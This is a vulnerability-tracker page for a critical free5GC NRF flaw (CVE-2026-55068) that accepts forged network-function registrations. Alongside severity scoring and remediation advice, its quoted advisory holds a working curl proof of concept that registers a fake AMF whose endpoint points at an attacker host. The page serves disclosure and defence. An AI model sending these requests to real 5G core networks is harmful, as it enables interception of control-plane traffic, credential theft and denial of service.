Skip to main content

free5GC NRF EUVDEUVD-2026-67835

| CVE-2026-55068 CRITICAL
Improper Input Validation (CWE-20)
2026-08-28 https://github.com/free5gc/free5gc GHSA-x8mj-6p3q-g5pp
9.3
CVSS 4.0 · Vendor: https://github.com/free5gc/free5gc
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Reach NRF SBI endpoint
  2. Delivery
    Send crafted PUT NF-registration with fake ipEndPoints
  3. Exploit
    NRF stores unvalidated profile (HTTP 201)
  4. Install
    Profile advertised via NFDiscover
  5. C2
    Legitimate SMF selects forged AMF
  6. Execute
    Control-plane signaling routed to attacker
  7. Impact
    Intercept traffic, harvest OAuth2 creds, deny service

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
Exploitation Conditions

The attacker needs SBI (service-based interface) network reachability to the NRF's nnrf-nfm endpoint on the 5G core control plane. In a default free5GC deployment no special conditions apply - OAuth is disabled, so the PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID} registration endpoint accepts forged NF profiles with arbitrary ipEndPoints unauthenticated and returns HTTP 200/201. If the operator has enabled OAuth2 on the SBI, exploitation additionally requires one valid NF OAuth token (i.e., a single compromised or rogue NF), per the vendor's own attack chain. Limiting factors: exposure is confined to hosts that can reach the SBI network (typically an internal core network, not the public Internet), impact is only realized once a legitimate NF actually performs NFDiscover and selects the forged profile, and OAuth-enabled deployments raise the bar to holding at least one valid token.

Impact

The signals are strong and mutually reinforcing: the vendor CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) scores 9.3 Critical, publicly available exploit code exists (a documented PoC plus a public gist), and a working curl-based reproduction requires no configuration changes against a default deployment. There is no EPSS score or CISA KEV entry in the provided data, so probabilistic and confirmed-exploitation signals are absent - this should be read as 'no evidence yet of widespread active exploitation,' not as low risk. One important nuance to verify: the summary and CVSS assert unauthenticated (PR:N) exploitation, and the PoC works with no auth, yet the narrative attack chain is prefaced with 'OAuth is enabled' and step 1 assumes a compromised NF holding a valid OAuth token. This is a genuine conflict in the source data - in a default free5GC deployment OAuth is off and the endpoint is fully unauthenticated, but in an OAuth-enabled deployment an attacker needs at least one valid NF token, which raises the practical bar. Prevalence tempers absolute urgency: free5GC is primarily a research/testbed 5G core rather than a carrier-grade production system, so the population of exposed real-world targets is limited, and any operator running free5GC as their control plane should treat this as an urgent, patch-now issue given the mesh-wide blast radius.

Exploit ScenarioDerived

Using only curl and no configuration changes, an attacker on the SBI network sends a PUT to /nnrf-nfm/v1/nf-instances/{id} registering a fake AMF whose nfServices.ipEndPoints points at their own host (10.0.0.99:7777); the NRF returns HTTP 201 and advertises the profile through NFDiscover. When an SMF later queries the NRF for an AMF and selects the forged instance, it routes N1N2 control-plane signaling to the attacker, who intercepts the traffic, harvests OAuth2 credentials, and can deny service to subscribers. A public PoC and gist demonstrate the full flow, and the low attack complexity (AC:L, no user interaction) makes it trivially automatable at scale.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
1 public PoC Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Aug 28, 2026

NF registration poisoning in free5GC's Network Repository Function (NRF) lets attackers with SBI network access register forged Network Function profiles containing arbitrary, attacker-controlled service endpoint IPs, because the RegisterNFInstance handler performs no field validation against 3GPP TS 29.510. Legitimate NFs (AMF, SMF, AUSF, UDM, PCF, NSSF) then discover the fake profiles via NFDiscover and route control-plane signaling to the attacker, enabling interception, OAuth2 credential harvesting, and denial of service across the entire 5G core service mesh. Publicly available exploit code exists and the vendor has released a patch; the flaw is CWE-20 with a vendor CVSS 4.0 base score of 9.3 (Critical).

Earlier versions of this analysis (1)
v1 Aug 28, 2026 - 17:23

Control-plane poisoning in free5GC's Network Repository Function (NRF) lets attackers with SBI network access register forged Network Function (NF) profiles because the RegisterNFInstance handler stores NF profiles with no field-level validation against 3GPP TS 29.510. Forged profiles carry arbitrary attacker-controlled service endpoint IPs, and legitimate NFs (AMF, SMF, AUSF, UDM, PCF, NSSF) then discover and route control-plane signaling to those endpoints, enabling traffic interception, OAuth2 credential harvesting, and denial of service across the 5G core service mesh. Publicly available exploit code exists (working PoC in the advisory); this is not in CISA KEV and no EPSS score was provided.

RemediationAI

Vendor-released patch: upgrade the NRF to free5gc/nrf v1.4.5 (advisory GHSA-x8mj-6p3q-g5pp lists affected < 4.2.2, fixed in 4.2.2 at the free5gc umbrella level); apply the fix from https://github.com/free5gc/nrf/pull/90 (commits bda0cf75be5556bb4c758c8b34710f3fe6bbe3ea and fcd3cfaa27cc4dc17172ee0c4c3e0a3a696297c6), which adds validateNfProfile/validateNfProfileJSON to the RegisterNFInstance and UpdateNFInstance paths and returns HTTP 400 ProblemDetails on UUID/enum/range/required-field/IP-endpoint violations. Note the version data is not fully consistent in the sources (advisory says fixed in 4.2.2 while the referenced free5gc release tag is v4.2.3 and the nrf tag is v1.4.5), so confirm the exact tag against the advisory before pinning. If you cannot patch immediately, restrict the NRF SBI to a trusted management network and firewall the nnrf-nfm PUT endpoint so only known NF source addresses can reach it (trade-off: breaks dynamic onboarding of new NFs from other subnets); enable OAuth2 on the SBI to require valid NF tokens for registration (trade-off: does not fix the missing validation and, per the attack narrative, a single compromised NF token still allows poisoning); and enable NRF logging (LogEnable: true), which produces an audit trail of registrations but does not block the attack since validation is independent of logging. Also consider adding a MongoDB JSON schema validator on the NfProfile collection as defense in depth.

Affected VersionsENISA

Free5GC < 4.2.3

Affected Packages

go github.com/free5gc/free5gc fix: 4.2.2+incompatible, 4.2.2
euvd free5gc fix: 4.2.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is free5GC's NRF, the 5G core service-based interface (SBI) component that maintains the registry of all Network Functions and answers service-discovery queries. The root cause is CWE-20 (Improper Input Validation): the PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID} handler deserializes the full NF profile and stores it directly into MongoDB's NfProfile collection, which itself has no JSON schema validator, without enforcing any TS 29.510 constraints. Documented violations include non-UUID nfInstanceId values (§6.1.6.2.2 requires UUID v4), out-of-enum nfStatus values (valid set is REGISTERED/SUSPENDED/UNDISCOVERABLE), out-of-range heartBeatTimer values outside [1,3600] (§5.2.2.2), acceptance of a null nfProfile, and - most critically - unchecked nfServices.ipEndPoints, so any IPv4 address (e.g. 10.0.0.99:7777) can be advertised as a legitimate service endpoint. The affected package is the Go module github.com/free5gc/free5gc (CPE pkg:go/github.com_free5gc_free5gc), with the fix landing in the free5gc/nrf submodule.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/free5gc/free5gc) PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.8 CRITICAL

Default deployment exposes an unauthenticated network endpoint (AV:N/AC:L/PR:N/UI:N); missing validation lets forged profiles poison the registry, yielding high confidentiality, integrity, and availability impact on control-plane traffic.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE CRITICAL

Primary rating from Vendor (https://github.com/free5gc/free5gc).

CVSS VectorVendor: https://github.com/free5gc/free5gc

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
CVSS changed
Aug 28, 2026 - 20:22 NVD
9.3 (CRITICAL)
CVE Published
Aug 28, 2026 - 16:58 cve.org
CRITICAL

DescriptionCVE.org

Summary

free5GC NRF (Docker image free5gc-fuzz:latest) accepts NF registration requests without validating any field constraints against 3GPP TS 29.510, allowing unauthenticated attackers to inject fake NF profiles with arbitrary service endpoint IP addresses. All 17 constraint violations tested (UUID format, enum values, numeric ranges, mandatory fields, IP endpoint integrity) were accepted with HTTP 200/201. Legitimate NFs discover these fake profiles via NFDiscover and route control-plane traffic to attacker-controlled endpoints, an attacker with SBI network access can intercept control-plane signaling, harvest OAuth2 credentials, and deny service to subscribers.

---

Details

free5GC NRF's RegisterNFInstance handler (PUT /nnrf-nfm/v1/nf-instances/{nfInstanceID}) accepts the full NF profile body without field-level validation. The following 3GPP TS 29.510 constraints are violated:

Format validation: nfInstanceId accepts non-UUID strings (e.g., "not-a-uuid", "11111111-1111-1111-1111-111111111111"), violating TS 29.510 §6.1.6.2.2 UUID v4 requirement.

Enum validation: nfStatus accepts values outside the {REGISTERED, SUSPENDED, UNDISCOVERABLE} enum (e.g., "INVALID_STATUS").

Range validation: heartBeatTimer accepts values outside the valid range [1, 3600] (e.g., 0, 99999), violating TS 29.510 §5.2.2.2.

Mandatory field enforcement: nfProfile is accepted as null, violating the required field constraint in §5.2.2.2.

Service endpoint integrity: nfServices.ipEndPoints entries are stored without any IP address validation, allowing arbitrary attacker-controlled addresses (e.g., 10.0.0.99) to be registered as legitimate NF service endpoints.

All five failure modes return HTTP 200/201. The profiles are stored in MongoDB's NfProfile collection (which has no JSON schema validator) and appear in NFDiscover results alongside legitimate NF instances.

Attack chain ( OAuth is enabled):

  1. A compromised NF with valid OAuth token registers a fake AMF with nfServices.ipEndPoints pointing to 10.0.0.99:7777
  2. NRF stores the profile and advertises it via NFDiscover
  3. SMF queries NRF for AMF instances and selects the fake one
  4. SMF routes N1N2 signaling to 10.0.0.99:7777
  5. Attacker intercepts control-plane traffic

Discovery methodology: 121 semantic constraints extracted from 10 3GPP TS 29.5xx specifications, modeled as a multi-relational interaction graph with CONDITIONAL (23 edges), CONFLICT (28 edges), and SHARED_FIELD (58 edges) relationships. 50,000 constraint-violating HTTP requests generated, 9,756 accepted-invalid responses detected, deduplicated to 17 unique violations across 5 root cause categories.

Logging: NRF default configuration (LogEnable: false) produces zero runtime log lines - 450,000 HTTP requests and 27,601 NF registrations with zero audit trail. Enabling logging records the attack but does not prevent it (validation is independent of logging).

PoC

No configuration changes needed. Default free5GC deployment is vulnerable.

bash
# Step 1: Register fake AMF with attacker-controlled IP
curl -X PUT \
  "http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111" \
  -H "Content-Type: application/json" \
  -d '{
    "nfInstanceId": "11111111-1111-1111-1111-111111111111",
    "nfType": "AMF",
    "nfStatus": "REGISTERED",
    "heartBeatTimer": 3600,
    "plmnList": [{"mcc": "001", "mnc": "01"}],
    "sNssais": [{"sst": 1, "sd": "010203"}],
    "nfServices": [{
      "serviceInstanceId": "fake-amf-svc",
      "serviceName": "namf-comm",
      "versions": [{"apiVersionInUri": "v1", "apiFullVersion": "1.0.0"}],
      "scheme": "http",
      "nfServiceStatus": "REGISTERED",
      "ipEndPoints": [{"ipv4Address": "10.0.0.99", "port": 7777, "transport": "TCP"}]
    }]
  }'
# Returns: HTTP 201 (Accepted - profile stored with fake endpoint)
# Step 2: Confirm the profile is stored
curl "http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111"
# Returns: HTTP 200 with fake IP 10.0.0.99:7777 in the response
# Step 3: Verify the fake AMF appears in discovery results
curl "http://172.24.0.10:8000/nnrf-disc/v1/nf-instances?target-nf-type=AMF&requester-nf-type=SMF"
# Returns: HTTP 200 - fake AMF with 10.0.0.99:7777 listed alongside real AMFs
# Additional constraint violations (all return 200/201):
curl -X PUT "http://172.24.0.10:8000/nnrf-nfm/v1/nf-instances/not-a-uuid" \
  -H "Content-Type: application/json" \
  -d '{"nfInstanceId": "not-a-uuid", "nfType": "AMF", "nfStatus": "INVALID_STATUS", "heartBeatTimer": 0}'
# Returns: HTTP 201 (non-UUID + invalid enum + out-of-range timer - ALL accepted)

Expected fix:

go
import "github.com/google/uuid"

func validateNFProfile(profile *NFProfile) error {
    // UUID v4 validation
    if _, err := uuid.Parse(profile.NfInstanceId); err != nil {
        return fmt.Errorf("nfInstanceId must be valid UUID v4")
    }
    // Enum validation
    validStatuses := map[string]bool{"REGISTERED": true, "SUSPENDED": true, "UNDISCOVERABLE": true}
    if !validStatuses[profile.NfStatus] {
        return fmt.Errorf("nfStatus must be REGISTERED, SUSPENDED, or UNDISCOVERABLE")
    }
    // Range validation
    if profile.HeartBeatTimer < 1 || profile.HeartBeatTimer > 3600 {
        return fmt.Errorf("heartBeatTimer must be between 1 and 3600")
    }
    return nil
}
// Return HTTP 400 with ProblemDetails on validation failure

Impact

PropertyValue
AuthenticationNone required
ImpactControl-plane traffic interception, OAuth2 credential harvesting, denial of service
Affected componentfree5GC NRF Docker image free5gc-fuzz:latest
Affected implementationsAll NFs that use NFDiscover (AMF, SMF, AUSF, UDM, PCF, NSSF) - the fake profile propagates to the entire 5GC service mesh
FixAdd UUID/enum/range/required-field validation to RegisterNFInstance handler; return HTTP 400 with ProblemDetails on failure
StatusReported to maintainers

Scope of impact: Unlike denial-of-service attacks (SIGABRT/SIGSEGV) that only affect a single Network Function (NF), this vulnerability can impact all NFs within the 5GC service mesh. Once a forged NF profile is registered, any NF querying the NRF for service discovery may be redirected to an attacker-controlled endpoint. The 27,601 profiles registered during testing fully demonstrate the automated scale achievable by such an attack.

Environment: free5GC Docker image free5gc-fuzz:latest, Docker Compose, Ubuntu 22.04, kernel 6.8.0-111, bridge network 172.24.0.0/24.

Technical POC Analysis

The flaw is CWE-20: Improper Input Validation in free5GC NRF's NF registration and update paths.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Latest POC

1 public PoC link from github

Sign in to open the public PoC links collected for this CVE.

Executive ViewAI

Why It Matters

A critical vulnerability in free5GC's Network Repository Function enables attackers to inject forged 5G core network profiles, diverting traffic to attacker-controlled endpoints and compromising all connected network functions. This breaks authentication and traffic routing across the entire 5G core network, enabling credential theft and denial of service. Publicly available exploit code exists, making any exposed free5GC deployment an immediate target.

Business Impact: Severe
Compensating Controls

Apply vendor patch. Until patching is complete, restrict all SBI network access to trusted administrative networks only and implement continuous monitoring of NRF registration requests to detect and alert on anomalous profile creation.

Threat Intelligence Overview

EPSS Score
0.4%
Top 63% exploitable
Prevalence
Low
open-source 5G core used mainly in research and testbeds, not production carriers
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor CIRCL GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

66
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

Vendor StatusVendor

SUSE

Severity: Critical

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy